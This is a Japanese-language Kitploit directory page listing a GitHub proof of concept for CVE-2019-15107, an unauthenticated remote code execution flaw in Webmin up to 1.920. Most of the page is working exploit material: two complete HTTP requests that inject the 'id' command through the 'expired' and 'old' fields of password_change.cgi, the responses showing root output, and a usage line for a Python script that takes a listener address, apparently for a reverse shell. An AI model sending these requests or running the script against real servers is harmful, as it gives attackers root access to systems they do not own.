Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2019-15107 — Webmin <=1.920 RCE | Kitploit
ツール/GitHubGitHub/ruthvikvegunta/cve-2019-15107
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールリモートアクセスツール
GitHubruthvikvegunta/cve-2019-15107

CVE-2019-15107

Webmin <=1.920 RCE

リポジトリを見る
6416年前未レビュー
ウェブサイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2019-15107 Webmin リモートコード実行 <=1.920 (認証不要)

root@kitploit:~
1.  Webmin <=1.920
2.  パスワードリセット機能が有効である必要があります

v1.890 POC

root@kitploit:~
POST /password_change.cgi HTTP/1.1
Host: 10.11.1.88:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: http://10.11.1.88:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

expired=id

<h1>エラー - Perl 実行失敗</h1>
<p>パスワードの有効期限が切れています。新しいパスワードを選択する必要があります。uid=0(root) gid=0(root) groups=0(root)
</p>

<=v1.920 & !=v1.890 POC

root@kitploit:~
POST /password_change.cgi HTTP/1.1
Host: 10.11.1.88:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: http://10.11.1.88:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

user=root&pam=&expired=2&old=vrvik|id&new1=vrvik&new2=vrvik


<div class="panel-body">
<hr>
<center><h3>パスワードの変更に失敗しました : 現在のパスワードが正しくありませんuid=0(root) gid=0(root) groups=0(root)
</h3></center>
ツールをダウンロード

スクリプトの使い方:

v1.890 でテスト済みですが、このバックドアがインストールされている他の Webmin バージョンでも動作するはずです。

python3 webmin_rce.py -t http://10.11.1.88:10000 -l 172.16.1.3 -p 8888